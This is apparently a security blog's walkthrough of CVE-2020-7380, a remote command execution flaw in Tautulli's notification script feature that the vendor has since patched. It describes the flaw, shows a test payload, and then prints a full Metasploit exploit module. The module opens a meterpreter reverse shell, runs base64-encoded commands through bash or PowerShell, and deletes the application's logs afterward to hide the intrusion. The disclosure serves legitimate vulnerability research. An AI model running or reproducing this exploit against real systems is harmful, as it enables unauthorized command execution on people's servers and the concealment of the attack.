CVE Walkthrough Educational Vulnerability Report

Tautulli Notification Arbitrary Remote Command Execution CVE-2020-7380

TL;DR

Tautulli for Plex is vulnerable to remote command execution attacks running under the context of the Tautulli process. By sending specially crafted HTTP requests, the application will allow a remote user to execute arbitrary commands. To complete the attack, you must have access to the UI of the application. The vulnerability impacts versions of Tautulli from 1.3.0 through 2.5.3.

CVE-2020-7380 has been assigned to the vulnerability, and an updated version of Tautulli has been released at tautulli.com.

Introduction

In my free time, I look for interesting devices and services by browsing Shodan’s previously searched for results. You know. What’s the flavor of the day? During one of these exploratory sessions, I came across the Tautulli service and it showed there were many public-facing instances of Tautulli.

The Tautulli website describes the software as “a 3rd party application that you can run alongside your Plex Media Server to monitor activity and track various statistics”. I was curious what it was all about, so I went to their site and looked around until something caught my attention.


Notification feature

Gazing my eyes upon this image, one word screamed out to me. Scripts! I pondered. What kind of scripts can I trigger? Console scripts? Some sort of proprietary scripts? At any rate, I was ready to find out if I could poke a stick at it and, who knows, maybe I’ll get lucky and find a shell. I explored the website until I found this help page, which describes configuring scripts for the notification feature.


Tautulli notification script settings

The application is allowing the user to run any existing file on the system which ends with .bat, .cmd, .exe, .php, .pl, .ps1, .py, .pyw, .rb, or .sh. This feature certainly looks to be risky, especially with so many public-facing instances. But is it vulnerable?

I downloaded the source and fired up a local instance of Plex and Tautulli. I browsed through the code and focused my attention on /plexpy/notifiers.py. After reviewing the imports, I saw the subprocess module and knew this was likely to be used to launch scripts. I performed a text search for subprocess and came across the following code.


Routine that executes notification scripts

After reviewing the code I could see there is no input validation or sanitization. The idea behind this feature is you select a directory that contains your notification scripts at which point you select a specific script from this directory. From an adversary perspective, this would only give you access to their notification scripts. What I’m after is command execution and with the lack of any validation, I should be good to go. Let’s fire up Burp Suite and see what I can do.

After playing around in the UI of Tautulli, I noticed there was a Test Notifications tab. This feature allows you to test a script and ensure all is working correctly. I thought this might be an excellent way to test out payloads without having to initiate an event within the Plex server.


Send test notification

To get started, let’s try to build a test notification and try to run arbitrary commands. Below, is a POST request to the set_notifier_config endpoint with mostly null values. I modified the request in an attempt to run arbitrary commands.


POST request to set_notifier_config

Now that I have the POST request, I created a payload that contains the arbitrary command I wish to execute bash -c ‘id>/tmp/id’. This command will direct the output of the id command to the file /tmp/id. Using Burp Suite, I URL encoded the command.


URL encoded payload

Then add the command to the POST request.


POST request to set_notifier_config

Well, let’s see if it worked.


Fail

Let’s take a look at the logs.


Tautulli logs

Okay. It encountered an error when trying to run our notification script. The error suggests I should set the script folder value before I can execute a command. I do this with a POST request to the set_notifier_config endpoint, and set the scripts_script_folder value to /usr/bin/ which contains the bash executable.


POST request to configure script folder value

With that done, I send another test notification.


Send test notification

The notification successfully queued. Let’s see if it worked.


Success

Success! I was able to execute an arbitrary command by sending a request to send_notification with the script I want to execute and any arguments to be passed to the script. If the server is configured per vendor instructions it will run at the user level but, there is nothing preventing the service from running with system or root privileges. After reviewing the logs, I could see that Tautulli accepted our arbitrary command.


Tautulli logs

Conclusion:
An arbitrary remote command execution attack can be carried out by remote unauthenticated users if Tautulli has been configured without authentication. If authentication is enabled in Tautulli, the user must have valid credentials to carry out the attack. This vulnerability impacts versions v1.3.0 through v2.5.3. The vendor was notified and an updated version (v2.5.4) of Tautulli was released on 07/31/2020 and can be downloaded at tautulli.com.

 

Metasploit Exploit Module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  require 'msf/core/exploit/powershell'
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
 
  $nid = ""
  def initialize(info={})
    super(update_info(info,
        'Name'           => 'Tautulli Notification Arbitrary Command Execution',
        'Description'    => %q(
            This module exploits an RCE in Tautulli v2.0.0-beta through v2.5.3.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => ['Phillip Castellanos'],
        'Notes'           =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
        'Targets'        =>
          [
            [
              'Linux',
              {
                'Platform' => 'linux',
                'Arch' => [ ARCH_X86_64, ARCH_X86 ],
                'DefaultOptions' =>
                  {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
              }
            ],
            [
              'Windows',
                {
                  'Platform' => 'win',
                  'Arch' => [ ARCH_X86_64, ARCH_X86 ],
                  'DefaultOptions' =>
                  {
                    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
                  }
                }
            ]
          ],
        'DisclosureDate' => "Sep 1 2020",
        'DefaultTarget'  => 0
      )
    )
    register_options(
    [
      Opt::RPORT(8181),
      OptString.new('USERNAME', [ false, "Username to authenticate with", '']),
      OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
    ], self.class)
    deregister_options('SRVHOST', 'SRVPORT', 'URIPATH')
  end

  def check
    uri = target_uri.path
    res = send_request_cgi({
      'method'   => 'GET',
      'cookie'  => $cookie,
      'uri'      => normalize_uri(uri, 'home')
    })
    if datastore['TARGET'] == 0
        ver = res.to_s.match /js\?v\d\.\d+\.\d+/
        if ver && ver.length() > 0
            mjr = ver[0].match /\d/
            if mjr[0] == '2'
                print_good("Found version " + (ver[0].match /\d\.\d+\.\d+/).to_s + " which appears vulnerable")
                return Exploit::CheckCode::Appears
            end
        else
            print_error("Unable to determine if host is vulnerable.")
            return Exploit::CheckCode::Unknown
        end
    end
    if datastore['TARGET'] == 1
        ver = res.to_s.match /js\?1698622d63f406d50da4429e2b5d1b5d55893358/
        if ver && ver.length() > 0
            print_good("#{(datastore['RHOST'])} appears vulnerable!")
            return Exploit::CheckCode::Appears
        else
            print_error("Unable to determine if host is vulnerable.")
            return Exploit::CheckCode::Unknown
        end
    end
    rescue ::Rex::ConnectionError
        fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!")
  end

  def execute_command(cmd, opts = {})
    go = ''
    if datastore['TARGET'] == 0 #lin
        doit = "-c 'echo -n #{Rex::Text.encode_base64(cmd)} |base64 --decode|bash'"
        go = 'bash'
    elsif datastore['TARGET'] == 1 #win
        doit = "/c " + cmd_psh_payload(payload.encoded, payload_instance.arch.first)
        go = 'cmd'
    end
   
    uri = target_uri.path
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(uri, 'send_notification'),
      'cookie' => $cookie,
      'vars_post' => {
        "notifier_id" => $nid,
        "script" => "#{(go)}",
        "script_args" => "#{(doit)}",
        "notify_action" => "test",
        "_" => "1595307220083"
      }
    })
    if res && res.code == 200
      print_status("Queued notification agent")
    elsif res.code == 303
      fail_with(Failure::NoAccess, "#{peer} - Failed to login to target!")
    end
    if datastore['TARGET'] == 0
        sleep 5
    elsif datastore['TARGET'] == 1
        sleep 20
    end
    res = send_request_cgi({
        'method'    => 'POST',
        'uri'      => normalize_uri(uri, 'delete_logs'),
        'cookie' => $cookie,
        'vars_post' => {
            "logfile" => "tautulli"
        }
    })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!")
  end

  def exploit    
    uri = target_uri.path
    $cookie = ''
    if datastore['USERNAME'] != '' && datastore['PASSWORD'] != ''
      print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(uri, 'auth', 'signin'),
        'vars_post' => {
          "username": datastore['USERNAME'],
          "password": datastore['PASSWORD']
        }
      })
      if res && res.code == 200
        print_good("Logged In!")
        $cookie = res.get_cookies
      elsif res && res.code == 401
        fail_with(Failure::NoAccess, "#{peer} - Failed to login to the target!")        
      end
    else
        res = send_request_cgi({
            'method'   => 'POST',
            'uri'      => normalize_uri(uri, 'home')
        })
        if res && res.code == 200
            $cookie = res.get_cookies
        else
            fail_with(Failure::NoAccess, "#{peer} - Failed to login to the target!")        
        end
    end
    check()
    res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(uri, 'add_notifier_config'),
        'cookie' => $cookie,
        'vars_post' => {
            'agent_id' => "15",
            '_' => "1595307220083"
        }
    })
    js = {}
    if res && res.code == 200
        js = res.get_json_document
        $nid = js['notifier_id'].to_s
        if js['result'] == 'success'
          print_status("Created new agent")
        else
          fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response!")
          return
        end
    else
        fail_with(Failure::NoAccess, "#{peer} - Failed to login to the target!")
        return
    end
    if datastore['TARGET'] == 0
        res = send_request_cgi({
            'method'   => 'POST',
            'uri'      => normalize_uri(uri, 'set_notifier_config'),
            'cookie' => $cookie,
            'vars_post' => {
              "notifier_id": $nid, "agent_id": "15", "scripts_script_folder": "/usr/bin/", "scripts_script": "", "scripts_timeout": "30", "friendly_name": '', "on_play": "0", "on_stop": "0", "on_pause": "0", "on_resume": "0", "on_change": "0", "on_watched": "0", "on_buffer": "0", "on_concurrent": "0", "on_newdevice": "0", "on_created": "0", "on_intdown": "0", "on_intup": "0", "on_extdown": "0", "on_extup": "0", "on_pmsupdate": "0", "on_plexpyupdate": "0", "on_plexpydbcorrupt": "0", "parameter": '', "custom_conditions": "[{"parameter":"","operator":"","value":""}]", "custom_conditions_logic": '', "on_play_subject": '', "on_stop_subject": '', "on_pause_subject": '', "on_resume_subject": '', "on_change_subject": '', "on_watched_subject": '', "on_buffer_subject": '', "on_concurrent_subject": '', "on_newdevice_subject": '', "on_created_subject": '', "on_intdown_subject": '', "on_intup_subject": '', "on_extdown_subject": '', "on_extup_subject": '', "on_pmsupdate_subject": '', "on_plexpyupdate_subject": '', "on_plexpydbcorrupt_subject": '', "test_script": '', "test_script_args": ''
            }
        })
    elsif datastore['TARGET'] == 1
        res = send_request_cgi({
            'method'   => 'POST',
            'uri'      => normalize_uri(uri, 'set_notifier_config'),
            'cookie' => $cookie,
            'vars_post' => {
              "notifier_id": $nid, "agent_id": "15", "scripts_script_folder": "c:\\windows\", "scripts_script": "", "scripts_timeout": "30", "friendly_name": '', "on_play": "0", "on_stop": "0", "on_pause": "0", "on_resume": "0", "on_change": "0", "on_watched": "0", "on_buffer": "0", "on_concurrent": "0", "on_newdevice": "0", "on_created": "0", "on_intdown": "0", "on_intup": "0", "on_extdown": "0", "on_extup": "0", "on_pmsupdate": "0", "on_plexpyupdate": "0", "on_plexpydbcorrupt": "0", "parameter": '', "custom_conditions": "[{"parameter":"","operator":"","value":""}]", "custom_conditions_logic": '', "on_play_subject": '', "on_stop_subject": '', "on_pause_subject": '', "on_resume_subject": '', "on_change_subject": '', "on_watched_subject": '', "on_buffer_subject": '', "on_concurrent_subject": '', "on_newdevice_subject": '', "on_created_subject": '', "on_intdown_subject": '', "on_intup_subject": '', "on_extdown_subject": '', "on_extup_subject": '', "on_pmsupdate_subject": '', "on_plexpyupdate_subject": '', "on_plexpydbcorrupt_subject": '', "test_script": '', "test_script_args": ''
            }
        })
    end
   
    if res && res.code == 200
        print_status("
Saved agent config")
    else
        fail_with(Failure::UnexpectedReply, "
#{peer} - Unexpected Response!1")
        return
    end
    if datastore['TARGET'] == 0
      execute_cmdstager(linemax: 20240, flavor: 'echo')
    elsif datastore['TARGET'] == 1
      execute_cmdstager(linemax: 20240)
    end
    rescue ::Rex::ConnectionError
        fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!")
  end
end

 

About the author

HackHappy

Add Comment

Click here to post a comment

Got Something To Say?

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Subscribe For Latest News

TorGuard VPN 50% Off: hackhappy

TorGuard VPN Discount Code: hackhappy
Discount Code: hackhappy

Members

%d bloggers like this: